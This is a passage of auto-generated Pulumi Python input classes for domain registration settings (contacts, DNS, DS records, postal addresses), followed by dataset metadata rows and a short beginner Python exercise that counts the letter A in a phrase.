:param pulumi.Input['ContactArgs'] technical_contact: The technical contact for the `Registration`.
"""
pulumi.set(__self__, "admin_contact", admin_contact)
pulumi.set(__self__, "privacy", privacy)
pulumi.set(__self__, "registrant_contact", registrant_contact)
pulumi.set(__self__, "technical_contact", technical_contact)
@property
@pulumi.getter(name="adminContact")
def admin_contact(self) -> pulumi.Input['ContactArgs']:
"""
The administrative contact for the `Registration`.
"""
return pulumi.get(self, "admin_contact")
@admin_contact.setter
def admin_contact(self, value: pulumi.Input['ContactArgs']):
pulumi.set(self, "admin_contact", value)
@property
@pulumi.getter
def privacy(self) -> pulumi.Input['ContactSettingsPrivacy']:
"""
Privacy setting for the contacts associated with the `Registration`.
"""
return pulumi.get(self, "privacy")
@privacy.setter
def privacy(self, value: pulumi.Input['ContactSettingsPrivacy']):
pulumi.set(self, "privacy", value)
@property
@pulumi.getter(name="registrantContact")
def registrant_contact(self) -> pulumi.Input['ContactArgs']:
"""
The registrant contact for the `Registration`. *Caution: Anyone with access to this email address, phone number, and/or postal address can take control of the domain.* *Warning: For new `Registration`s, the registrant receives an email confirmation that they must complete within 15 days to avoid domain suspension.*
"""
return pulumi.get(self, "registrant_contact")
@registrant_contact.setter
def registrant_contact(self, value: pulumi.Input['ContactArgs']):
pulumi.set(self, "registrant_contact", value)
@property
@pulumi.getter(name="technicalContact")
def technical_contact(self) -> pulumi.Input['ContactArgs']:
"""
The technical contact for the `Registration`.
"""
return pulumi.get(self, "technical_contact")
@technical_contact.setter
def technical_contact(self, value: pulumi.Input['ContactArgs']):
pulumi.set(self, "technical_contact", value)
@pulumi.input_type
class ContactArgs:
def __init__(__self__, *,
email: pulumi.Input[str],
phone_number: pulumi.Input[str],
postal_address: pulumi.Input['PostalAddressArgs'],
fax_number: Optional[pulumi.Input[str]] = None):
"""
Details required for a contact associated with a `Registration`.
:param pulumi.Input[str] email: Email address of the contact.
:param pulumi.Input[str] phone_number: Phone number of the contact in international format. For example, `"+1-800-555-0123"`.
:param pulumi.Input['PostalAddressArgs'] postal_address: Postal address of the contact.
:param pulumi.Input[str] fax_number: Fax number of the contact in international format. For example, `"+1-800-555-0123"`.
"""
pulumi.set(__self__, "email", email)
pulumi.set(__self__, "phone_number", phone_number)
pulumi.set(__self__, "postal_address", postal_address)
if fax_number is not None:
pulumi.set(__self__, "fax_number", fax_number)
@property
@pulumi.getter
def email(self) -> pulumi.Input[str]:
"""
Email address of the contact.
"""
return pulumi.get(self, "email")
@email.setter
def email(self, value: pulumi.Input[str]):
pulumi.set(self, "email", value)
@property
@pulumi.getter(name="phoneNumber")
def phone_number(self) -> pulumi.Input[str]:
"""
Phone number of the contact in international format. For example, `"+1-800-555-0123"`.
"""
return pulumi.get(self, "phone_number")
@phone_number.setter
def phone_number(self, value: pulumi.Input[str]):
pulumi.set(self, "phone_number", value)
@property
@pulumi.getter(name="postalAddress")
def postal_address(self) -> pulumi.Input['PostalAddressArgs']:
"""
Postal address of the contact.
"""
return pulumi.get(self, "postal_address")
@postal_address.setter
def postal_address(self, value: pulumi.Input['PostalAddressArgs']):
pulumi.set(self, "postal_address", value)
@property
@pulumi.getter(name="faxNumber")
def fax_number(self) -> Optional[pulumi.Input[str]]:
"""
Fax number of the contact in international format. For example, `"+1-800-555-0123"`.
"""
return pulumi.get(self, "fax_number")
@fax_number.setter
def fax_number(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "fax_number", value)
@pulumi.input_type
class CustomDnsArgs:
def __init__(__self__, *,
name_servers: pulumi.Input[Sequence[pulumi.Input[str]]],
ds_records: Optional[pulumi.Input[Sequence[pulumi.Input['DsRecordArgs']]]] = None):
"""
Configuration for an arbitrary DNS provider.
:param pulumi.Input[Sequence[pulumi.Input[str]]] name_servers: A list of name servers that store the DNS zone for this domain. Each name server is a domain name, with Unicode domain names expressed in Punycode format.
:param pulumi.Input[Sequence[pulumi.Input['DsRecordArgs']]] ds_records: The list of DS records for this domain, which are used to enable DNSSEC. The domain's DNS provider can provide the values to set here. If this field is empty, DNSSEC is disabled.
"""
pulumi.set(__self__, "name_servers", name_servers)
if ds_records is not None:
pulumi.set(__self__, "ds_records", ds_records)
@property
@pulumi.getter(name="nameServers")
def name_servers(self) -> pulumi.Input[Sequence[pulumi.Input[str]]]:
"""
A list of name servers that store the DNS zone for this domain. Each name server is a domain name, with Unicode domain names expressed in Punycode format.
"""
return pulumi.get(self, "name_servers")
@name_servers.setter
def name_servers(self, value: pulumi.Input[Sequence[pulumi.Input[str]]]):
pulumi.set(self, "name_servers", value)
@property
@pulumi.getter(name="dsRecords")
def ds_records(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['DsRecordArgs']]]]:
"""
The list of DS records for this domain, which are used to enable DNSSEC. The domain's DNS provider can provide the values to set here. If this field is empty, DNSSEC is disabled.
"""
return pulumi.get(self, "ds_records")
@ds_records.setter
def ds_records(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['DsRecordArgs']]]]):
pulumi.set(self, "ds_records", value)
@pulumi.input_type
class DnsSettingsArgs:
def __init__(__self__, *,
custom_dns: Optional[pulumi.Input['CustomDnsArgs']] = None,
glue_records: Optional[pulumi.Input[Sequence[pulumi.Input['GlueRecordArgs']]]] = None,
google_domains_dns: Optional[pulumi.Input['GoogleDomainsDnsArgs']] = None):
"""
Defines the DNS configuration of a `Registration`, including name servers, DNSSEC, and glue records.
:param pulumi.Input['CustomDnsArgs'] custom_dns: An arbitrary DNS provider identified by its name servers.
:param pulumi.Input[Sequence[pulumi.Input['GlueRecordArgs']]] glue_records: The list of glue records for this `Registration`. Commonly empty.
:param pulumi.Input['GoogleDomainsDnsArgs'] google_domains_dns: The free DNS zone provided by [Google Domains](https://domains.google/).
"""
if custom_dns is not None:
pulumi.set(__self__, "custom_dns", custom_dns)
if glue_records is not None:
pulumi.set(__self__, "glue_records", glue_records)
if google_domains_dns is not None:
pulumi.set(__self__, "google_domains_dns", google_domains_dns)
@property
@pulumi.getter(name="customDns")
def custom_dns(self) -> Optional[pulumi.Input['CustomDnsArgs']]:
"""
An arbitrary DNS provider identified by its name servers.
"""
return pulumi.get(self, "custom_dns")
@custom_dns.setter
def custom_dns(self, value: Optional[pulumi.Input['CustomDnsArgs']]):
pulumi.set(self, "custom_dns", value)
@property
@pulumi.getter(name="glueRecords")
def glue_records(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['GlueRecordArgs']]]]:
"""
The list of glue records for this `Registration`. Commonly empty.
"""
return pulumi.get(self, "glue_records")
@glue_records.setter
def glue_records(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['GlueRecordArgs']]]]):
pulumi.set(self, "glue_records", value)
@property
@pulumi.getter(name="googleDomainsDns")
def google_domains_dns(self) -> Optional[pulumi.Input['GoogleDomainsDnsArgs']]:
"""
The free DNS zone provided by [Google Domains](https://domains.google/).
"""
return pulumi.get(self, "google_domains_dns")
@google_domains_dns.setter
def google_domains_dns(self, value: Optional[pulumi.Input['GoogleDomainsDnsArgs']]):
pulumi.set(self, "google_domains_dns", value)
@pulumi.input_type
class DsRecordArgs:
def __init__(__self__, *,
algorithm: Optional[pulumi.Input['DsRecordAlgorithm']] = None,
digest: Optional[pulumi.Input[str]] = None,
digest_type: Optional[pulumi.Input['DsRecordDigestType']] = None,
key_tag: Optional[pulumi.Input[int]] = None):
"""
Defines a Delegation Signer (DS) record, which is needed to enable DNSSEC for a domain. It contains a digest (hash) of a DNSKEY record that must be present in the domain's DNS zone.
:param pulumi.Input['DsRecordAlgorithm'] algorithm: The algorithm used to generate the referenced DNSKEY.
:param pulumi.Input[str] digest: The digest generated from the referenced DNSKEY.
:param pulumi.Input['DsRecordDigestType'] digest_type: The hash function used to generate the digest of the referenced DNSKEY.
:param pulumi.Input[int] key_tag: The key tag of the record. Must be set in range 0 -- 65535.
"""
if algorithm is not None:
pulumi.set(__self__, "algorithm", algorithm)
if digest is not None:
pulumi.set(__self__, "digest", digest)
if digest_type is not None:
pulumi.set(__self__, "digest_type", digest_type)
if key_tag is not None:
pulumi.set(__self__, "key_tag", key_tag)
@property
@pulumi.getter
def algorithm(self) -> Optional[pulumi.Input['DsRecordAlgorithm']]:
"""
The algorithm used to generate the referenced DNSKEY.
"""
return pulumi.get(self, "algorithm")
@algorithm.setter
def algorithm(self, value: Optional[pulumi.Input['DsRecordAlgorithm']]):
pulumi.set(self, "algorithm", value)
@property
@pulumi.getter
def digest(self) -> Optional[pulumi.Input[str]]:
"""
The digest generated from the referenced DNSKEY.
"""
return pulumi.get(self, "digest")
@digest.setter
def digest(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "digest", value)
@property
@pulumi.getter(name="digestType")
def digest_type(self) -> Optional[pulumi.Input['DsRecordDigestType']]:
"""
The hash function used to generate the digest of the referenced DNSKEY.
"""
return pulumi.get(self, "digest_type")
@digest_type.setter
def digest_type(self, value: Optional[pulumi.Input['DsRecordDigestType']]):
pulumi.set(self, "digest_type", value)
@property
@pulumi.getter(name="keyTag")
def key_tag(self) -> Optional[pulumi.Input[int]]:
"""
The key tag of the record. Must be set in range 0 -- 65535.
"""
return pulumi.get(self, "key_tag")
@key_tag.setter
def key_tag(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "key_tag", value)
@pulumi.input_type
class ExprArgs:
def __init__(__self__, *,
description: Optional[pulumi.Input[str]] = None,
expression: Optional[pulumi.Input[str]] = None,
location: Optional[pulumi.Input[str]] = None,
title: Optional[pulumi.Input[str]] = None):
"""
Represents a textual expression in the Common Expression Language (CEL) syntax. CEL is a C-like expression language. The syntax and semantics of CEL are documented at https://github.com/google/cel-spec. Example (Comparison): title: "Summary size limit" description: "Determines if a summary is less than 100 chars" expression: "document.summary.size() < 100" Example (Equality): title: "Requestor is owner" description: "Determines if requestor is the document owner" expression: "document.owner == request.auth.claims.email" Example (Logic): title: "Public documents" description: "Determine whether the document should be publicly visible" expression: "document.type != 'private' && document.type != 'internal'" Example (Data Manipulation): title: "Notification string" description: "Create a notification string with a timestamp." expression: "'New message received at ' + string(document.create_time)" The exact variables and functions that may be referenced within an expression are determined by the service that evaluates it. See the service documentation for additional information.
:param pulumi.Input[str] description: Optional. Description of the expression. This is a longer text which describes the expression, e.g. when hovered over it in a UI.
:param pulumi.Input[str] expression: Textual representation of an expression in Common Expression Language syntax.
:param pulumi.Input[str] location: Optional. String indicating the location of the expression for error reporting, e.g. a file name and a position in the file.
:param pulumi.Input[str] title: Optional. Title for the expression, i.e. a short string describing its purpose. This can be used e.g. in UIs which allow to enter the expression.
"""
if description is not None:
pulumi.set(__self__, "description", description)
if expression is not None:
pulumi.set(__self__, "expression", expression)
if location is not None:
pulumi.set(__self__, "location", location)
if title is not None:
pulumi.set(__self__, "title", title)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
"""
Optional. Description of the expression. This is a longer text which describes the expression, e.g. when hovered over it in a UI.
"""
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter
def expression(self) -> Optional[pulumi.Input[str]]:
"""
Textual representation of an expression in Common Expression Language syntax.
"""
return pulumi.get(self, "expression")
@expression.setter
def expression(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "expression", value)
@property
@pulumi.getter
def location(self) -> Optional[pulumi.Input[str]]:
"""
Optional. String indicating the location of the expression for error reporting, e.g. a file name and a position in the file.
"""
return pulumi.get(self, "location")
@location.setter
def location(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "location", value)
@property
@pulumi.getter
def title(self) -> Optional[pulumi.Input[str]]:
"""
Optional. Title for the expression, i.e. a short string describing its purpose. This can be used e.g. in UIs which allow to enter the expression.
"""
return pulumi.get(self, "title")
@title.setter
def title(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "title", value)
@pulumi.input_type
class GlueRecordArgs:
def __init__(__self__, *,
host_name: pulumi.Input[str],
ipv4_addresses: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
ipv6_addresses: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None):
"""
Defines a host on your domain that is a DNS name server for your domain and/or other domains. Glue records are a way of making the IP address of a name server known, even when it serves DNS queries for its parent domain. For example, when `ns.example.com` is a name server for `example.com`, the host `ns.example.com` must have a glue record to break the circular DNS reference.
:param pulumi.Input[str] host_name: Domain name of the host in Punycode format.
:param pulumi.Input[Sequence[pulumi.Input[str]]] ipv4_addresses: List of IPv4 addresses corresponding to this host in the standard decimal format (e.g. `198.51.100.1`). At least one of `ipv4_address` and `ipv6_address` must be set.
:param pulumi.Input[Sequence[pulumi.Input[str]]] ipv6_addresses: List of IPv6 addresses corresponding to this host in the standard hexadecimal format (e.g. `2001:db8::`). At least one of `ipv4_address` and `ipv6_address` must be set.
"""
pulumi.set(__self__, "host_name", host_name)
if ipv4_addresses is not None:
pulumi.set(__self__, "ipv4_addresses", ipv4_addresses)
if ipv6_addresses is not None:
pulumi.set(__self__, "ipv6_addresses", ipv6_addresses)
@property
@pulumi.getter(name="hostName")
def host_name(self) -> pulumi.Input[str]:
"""
Domain name of the host in Punycode format.
"""
return pulumi.get(self, "host_name")
@host_name.setter
def host_name(self, value: pulumi.Input[str]):
pulumi.set(self, "host_name", value)
@property
@pulumi.getter(name="ipv4Addresses")
def ipv4_addresses(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
List of IPv4 addresses corresponding to this host in the standard decimal format (e.g. `198.51.100.1`). At least one of `ipv4_address` and `ipv6_address` must be set.
"""
return pulumi.get(self, "ipv4_addresses")
@ipv4_addresses.setter
def ipv4_addresses(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "ipv4_addresses", value)
@property
@pulumi.getter(name="ipv6Addresses")
def ipv6_addresses(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
List of IPv6 addresses corresponding to this host in the standard hexadecimal format (e.g. `2001:db8::`). At least one of `ipv4_address` and `ipv6_address` must be set.
"""
return pulumi.get(self, "ipv6_addresses")
@ipv6_addresses.setter
def ipv6_addresses(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "ipv6_addresses", value)
@pulumi.input_type
class GoogleDomainsDnsArgs:
def __init__(__self__, *,
ds_state: pulumi.Input['GoogleDomainsDnsDsState']):
"""
Configuration for using the free DNS zone provided by Google Domains as a `Registration`'s `dns_provider`. You cannot configure the DNS zone itself using the API. To configure the DNS zone, go to [Google Domains](https://domains.google/).
:param pulumi.Input['GoogleDomainsDnsDsState'] ds_state: The state of DS records for this domain. Used to enable or disable automatic DNSSEC.
"""
pulumi.set(__self__, "ds_state", ds_state)
@property
@pulumi.getter(name="dsState")
def ds_state(self) -> pulumi.Input['GoogleDomainsDnsDsState']:
"""
The state of DS records for this domain. Used to enable or disable automatic DNSSEC.
"""
return pulumi.get(self, "ds_state")
@ds_state.setter
def ds_state(self, value: pulumi.Input['GoogleDomainsDnsDsState']):
pulumi.set(self, "ds_state", value)
@pulumi.input_type
class ManagementSettingsArgs:
def __init__(__self__, *,
transfer_lock_state: Optional[pulumi.Input['ManagementSettingsTransferLockState']] = None):
"""
Defines renewal, billing, and transfer settings for a `Registration`.
:param pulumi.Input['ManagementSettingsTransferLockState'] transfer_lock_state: Controls whether the domain can be transferred to another registrar.
"""
if transfer_lock_state is not None:
pulumi.set(__self__, "transfer_lock_state", transfer_lock_state)
@property
@pulumi.getter(name="transferLockState")
def transfer_lock_state(self) -> Optional[pulumi.Input['ManagementSettingsTransferLockState']]:
"""
Controls whether the domain can be transferred to another registrar.
"""
return pulumi.get(self, "transfer_lock_state")
@transfer_lock_state.setter
def transfer_lock_state(self, value: Optional[pulumi.Input['ManagementSettingsTransferLockState']]):
pulumi.set(self, "transfer_lock_state", value)
@pulumi.input_type
class MoneyArgs:
def __init__(__self__, *,
currency_code: Optional[pulumi.Input[str]] = None,
nanos: Optional[pulumi.Input[int]] = None,
units: Optional[pulumi.Input[str]] = None):
"""
Represents an amount of money with its currency type.
:param pulumi.Input[str] currency_code: The three-letter currency code defined in ISO 4217.
:param pulumi.Input[int] nanos: Number of nano (10^-9) units of the amount. The value must be between -999,999,999 and +999,999,999 inclusive. If `units` is positive, `nanos` must be positive or zero. If `units` is zero, `nanos` can be positive, zero, or negative. If `units` is negative, `nanos` must be negative or zero. For example $-1.75 is represented as `units`=-1 and `nanos`=-750,000,000.
:param pulumi.Input[str] units: The whole units of the amount. For example if `currencyCode` is `"USD"`, then 1 unit is one US dollar.
"""
if currency_code is not None:
pulumi.set(__self__, "currency_code", currency_code)
if nanos is not None:
pulumi.set(__self__, "nanos", nanos)
if units is not None:
pulumi.set(__self__, "units", units)
@property
@pulumi.getter(name="currencyCode")
def currency_code(self) -> Optional[pulumi.Input[str]]:
"""
The three-letter currency code defined in ISO 4217.
"""
return pulumi.get(self, "currency_code")
@currency_code.setter
def currency_code(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "currency_code", value)
@property
@pulumi.getter
def nanos(self) -> Optional[pulumi.Input[int]]:
"""
Number of nano (10^-9) units of the amount. The value must be between -999,999,999 and +999,999,999 inclusive. If `units` is positive, `nanos` must be positive or zero. If `units` is zero, `nanos` can be positive, zero, or negative. If `units` is negative, `nanos` must be negative or zero. For example $-1.75 is represented as `units`=-1 and `nanos`=-750,000,000.
"""
return pulumi.get(self, "nanos")
@nanos.setter
def nanos(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "nanos", value)
@property
@pulumi.getter
def units(self) -> Optional[pulumi.Input[str]]:
"""
The whole units of the amount. For example if `currencyCode` is `"USD"`, then 1 unit is one US dollar.
"""
return pulumi.get(self, "units")
@units.setter
def units(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "units", value)
@pulumi.input_type
class PostalAddressArgs:
def __init__(__self__, *,
region_code: pulumi.Input[str],
address_lines: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
administrative_area: Optional[pulumi.Input[str]] = None,
language_code: Optional[pulumi.Input[str]] = None,
locality: Optional[pulumi.Input[str]] = None,
organization: Optional[pulumi.Input[str]] = None,
postal_code: Optional[pulumi.Input[str]] = None,
recipients: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
revision: Optional[pulumi.Input[int]] = None,
sorting_code: Optional[pulumi.Input[str]] = None,
sublocality: Optional[pulumi.Input[str]] = None):
"""
Represents a postal address, e.g. for postal delivery or payments addresses. Given a postal address, a postal service can deliver items to a premise, P.O. Box or similar. It is not intended to model geographical locations (roads, towns, mountains). In typical usage an address would be created via user input or from importing existing data, depending on the type of process. Advice on address input / editing: - Use an i18n-ready address widget such as https://github.com/google/libaddressinput) - Users should not be presented with UI elements for input or editing of fields outside countries where that field is used. For more guidance on how to use this schema, please see: https://support.google.com/business/answer/6397478
:param pulumi.Input[str] region_code: CLDR region code of the country/region of the address. This is never inferred and it is up to the user to ensure the value is correct. See http://cldr.unicode.org/ and http://www.unicode.org/cldr/charts/30/supplemental/territory_information.html for details. Example: "CH" for Switzerland.
:param pulumi.Input[Sequence[pulumi.Input[str]]] address_lines: Unstructured address lines describing the lower levels of an address. Because values in address_lines do not have type information and may sometimes contain multiple values in a single field (e.g. "Austin, TX"), it is important that the line order is clear. The order of address lines should be "envelope order" for the country/region of the address. In places where this can vary (e.g. Japan), address_language is used to make it explicit (e.g. "ja" for large-to-small ordering and "ja-Latn" or "en" for small-to-large). This way, the most specific line of an address can be selected based on the language. The minimum permitted structural representation of an address consists of a region_code with all remaining information placed in the address_lines. It would be possible to format such an address very approximately without geocoding, but no semantic reasoning could be made about any of the address components until it was at least partially resolved. Creating an address only containing a region_code and address_lines, and then geocoding is the recommended way to handle completely unstructured addresses (as opposed to guessing which parts of the address should be localities or administrative areas).
:param pulumi.Input[str] administrative_area: Optional. Highest administrative subdivision which is used for postal addresses of a country or region. For example, this can be a state, a province, an oblast, or a prefecture. Specifically, for Spain this is the province and not the autonomous community (e.g. "Barcelona" and not "Catalonia"). Many countries don't use an administrative area in postal addresses. E.g. in Switzerland this should be left unpopulated.
:param pulumi.Input[str] language_code: Optional. BCP-47 language code of the contents of this address (if known). This is often the UI language of the input form or is expected to match one of the languages used in the address' country/region, or their transliterated equivalents. This can affect formatting in certain countries, but is not critical to the correctness of the data and will never affect any validation or other non-formatting related operations. If this value is not known, it should be omitted (rather than specifying a possibly incorrect default). Examples: "zh-Hant", "ja", "ja-Latn", "en".
:param pulumi.Input[str] locality: Optional. Generally refers to the city/town portion of the address. Examples: US city, IT comune, UK post town. In regions of the world where localities are not well defined or do not fit into this structure well, leave locality empty and use address_lines.
:param pulumi.Input[str] organization: Optional. The name of the organization at the address.
:param pulumi.Input[str] postal_code: Optional. Postal code of the address. Not all countries use or require postal codes to be present, but where they are used, they may trigger additional validation with other parts of the address (e.g. state/zip validation in the U.S.A.).
:param pulumi.Input[Sequence[pulumi.Input[str]]] recipients: Optional. The recipient at the address. This field may, under certain circumstances, contain multiline information. For example, it might contain "care of" information.
:param pulumi.Input[int] revision: The schema revision of the `PostalAddress`. This must be set to 0, which is the latest revision. All new revisions **must** be backward compatible with old revisions.
:param pulumi.Input[str] sorting_code: Optional. Additional, country-specific, sorting code. This is not used in most regions. Where it is used, the value is either a string like "CEDEX", optionally followed by a number (e.g. "CEDEX 7"), or just a number alone, representing the "sector code" (Jamaica), "delivery area indicator" (Malawi) or "post office indicator" (e.g. Côte d'Ivoire).
:param pulumi.Input[str] sublocality: Optional. Sublocality of the address. For example, this can be neighborhoods, boroughs, districts.
"""
pulumi.set(__self__, "region_code", region_code)
if address_lines is not None:
pulumi.set(__self__, "address_lines", address_lines)
if administrative_area is not None:
pulumi.set(__self__, "administrative_area", administrative_area)
if language_code is not None:
pulumi.set(__self__, "language_code", language_code)
if locality is not None:
pulumi.set(__self__, "locality", locality)
if organization is not None:
pulumi.set(__self__, "organization", organization)
if postal_code is not None:
pulumi.set(__self__, "postal_code", postal_code)
if recipients is not None:
pulumi.set(__self__, "recipients", recipients)
if revision is not None:
pulumi.set(__self__, "revision", revision)
if sorting_code is not None:
pulumi.set(__self__, "sorting_code", sorting_code)
if sublocality is not None:
pulumi.set(__self__, "sublocality", sublocality)
@property
@pulumi.getter(name="regionCode")
def region_code(self) -> pulumi.Input[str]:
"""
CLDR region code of the country/region of the address. This is never inferred and it is up to the user to ensure the value is correct. See http://cldr.unicode.org/ and http://www.unicode.org/cldr/charts/30/supplemental/territory_information.html for details. Example: "CH" for Switzerland.
"""
return pulumi.get(self, "region_code")
@region_code.setter
def region_code(self, value: pulumi.Input[str]):
pulumi.set(self, "region_code", value)
@property
@pulumi.getter(name="addressLines")
def address_lines(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Unstructured address lines describing the lower levels of an address. Because values in address_lines do not have type information and may sometimes contain multiple values in a single field (e.g. "Austin, TX"), it is important that the line order is clear. The order of address lines should be "envelope order" for the country/region of the address. In places where this can vary (e.g. Japan), address_language is used to make it explicit (e.g. "ja" for large-to-small ordering and "ja-Latn" or "en" for small-to-large). This way, the most specific line of an address can be selected based on the language. The minimum permitted structural representation of an address consists of a region_code with all remaining information placed in the address_lines. It would be possible to format such an address very approximately without geocoding, but no semantic reasoning could be made about any of the address components until it was at least partially resolved. Creating an address only containing a region_code and address_lines, and then geocoding is the recommended way to handle completely unstructured addresses (as opposed to guessing which parts of the address should be localities or administrative areas).
"""
return pulumi.get(self, "address_lines")
@address_lines.setter
def address_lines(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "address_lines", value)
@property
@pulumi.getter(name="administrativeArea")
def administrative_area(self) -> Optional[pulumi.Input[str]]:
"""
Optional. Highest administrative subdivision which is used for postal addresses of a country or region. For example, this can be a state, a province, an oblast, or a prefecture. Specifically, for Spain this is the province and not the autonomous community (e.g. "Barcelona" and not "Catalonia"). Many countries don't use an administrative area in postal addresses. E.g. in Switzerland this should be left unpopulated.
"""
return pulumi.get(self, "administrative_area")
@administrative_area.setter
def administrative_area(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "administrative_area", value)
@property
@pulumi.getter(name="languageCode")
def language_code(self) -> Optional[pulumi.Input[str]]:
"""
Optional. BCP-47 language code of the contents of this address (if known). This is often the UI language of the input form or is expected to match one of the languages used in the address' country/region, or their transliterated equivalents. This can affect formatting in certain countries, but is not critical to the correctness of the data and will never affect any validation or other non-formatting related operations. If this value is not known, it should be omitted (rather than specifying a possibly incorrect default). Examples: "zh-Hant", "ja", "ja-Latn", "en".
"""
return pulumi.get(self, "language_code")
@language_code.setter
def language_code(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "language_code", value)
@property
@pulumi.getter
def locality(self) -> Optional[pulumi.Input[str]]:
"""
Optional. Generally refers to the city/town portion of the address. Examples: US city, IT comune, UK post town. In regions of the world where localities are not well defined or do not fit into this structure well, leave locality empty and use address_lines.
"""
return pulumi.get(self, "locality")
@locality.setter
def locality(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "locality", value)
@property
@pulumi.getter
def organization(self) -> Optional[pulumi.Input[str]]:
"""
Optional. The name of the organization at the address.
"""
return pulumi.get(self, "organization")
@organization.setter
def organization(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "organization", value)
@property
@pulumi.getter(name="postalCode")
def postal_code(self) -> Optional[pulumi.Input[str]]:
"""
Optional. Postal code of the address. Not all countries use or require postal codes to be present, but where they are used, they may trigger additional validation with other parts of the address (e.g. state/zip validation in the U.S.A.).
"""
return pulumi.get(self, "postal_code")
@postal_code.setter
def postal_code(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "postal_code", value)
@property
@pulumi.getter
def recipients(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Optional. The recipient at the address. This field may, under certain circumstances, contain multiline information. For example, it might contain "care of" information.
"""
return pulumi.get(self, "recipients")
@recipients.setter
def recipients(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "recipients", value)
@property
@pulumi.getter
def revision(self) -> Optional[pulumi.Input[int]]:
"""
The schema revision of the `PostalAddress`. This must be set to 0, which is the latest revision. All new revisions **must** be backward compatible with old revisions.
"""
return pulumi.get(self, "revision")
@revision.setter
def revision(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "revision", value)
@property
@pulumi.getter(name="sortingCode")
def sorting_code(self) -> Optional[pulumi.Input[str]]:
"""
Optional. Additional, country-specific, sorting code. This is not used in most regions. Where it is used, the value is either a string like "CEDEX", optionally followed by a number (e.g. "CEDEX 7"), or just a number alone, representing the "sector code" (Jamaica), "delivery area indicator" (Malawi) or "post office indicator" (e.g. Côte d'Ivoire).
"""
return pulumi.get(self, "sorting_code")
@sorting_code.setter
def sorting_code(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "sorting_code", value)
@property
@pulumi.getter
def sublocality(self) -> Optional[pulumi.Input[str]]:
"""
Optional. Sublocality of the address. For example, this can be neighborhoods, boroughs, districts.
"""
return pulumi.get(self, "sublocality")
@sublocality.setter
def sublocality(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "sublocality", value)
| 59.253968 | 1,975 | 0.694501 | 6,804 | 52,262 | 5.234274 | 0.106702 | 0.074746 | 0.044028 | 0.031504 | 0.718425 | 0.605099 | 0.556214 | 0.509968 | 0.48304 | 0.432863 | 0 | 0.0085 | 0.203092 | 52,262 | 881 | 1,976 | 59.321226 | 0.846619 | 0.511041 | 0 | 0.179732 | 1 | 0 | 0.120783 | 0.013673 | 0 | 0 | 0 | 0 | 0 | 1 | 0.206501 | false | 0 | 0.011472 | 0 | 0.334608 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
57383eb6bdcde3d8039913eaa6ab6ba526824621 | 265 | py | Python | ex026.py | GuilhermeDallari/desafiomuundo1 | df4e06393970d2b686622d13d0ef433b761164fd | [
"MIT"
] | null | null | null | ex026.py | GuilhermeDallari/desafiomuundo1 | df4e06393970d2b686622d13d0ef433b761164fd | [
"MIT"
] | null | null | null | ex026.py | GuilhermeDallari/desafiomuundo1 | df4e06393970d2b686622d13d0ef433b761164fd | [
"MIT"
] | null | null | null | n1 = str(input('digite uma frase: ')).strip().upper()
print('A letra A aparece {} vezes na frase'.format(n1.count('A')))
print('A primeira letra A apareceu na posição {}'.format(n1.find('A')+1))
print('A ultima letra A aprece na posição {}'.format(n1.rfind('A')+1)) | 66.25 | 73 | 0.671698 | 46 | 265 | 3.869565 | 0.521739 | 0.101124 | 0.168539 | 0.191011 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025424 | 0.109434 | 265 | 4 | 74 | 66.25 | 0.728814 | 0 | 0 | 0 | 0 | 0 | 0.503759 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.75 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
93a60b81628715f95951efafeaaf4d5005742969 | 107 | py | Python | tests/conftest.py | lucasvieirasilva/aws-codeartifact-poetry | ad224f8e403373bc6336d362ce11ba84c2bad616 | [
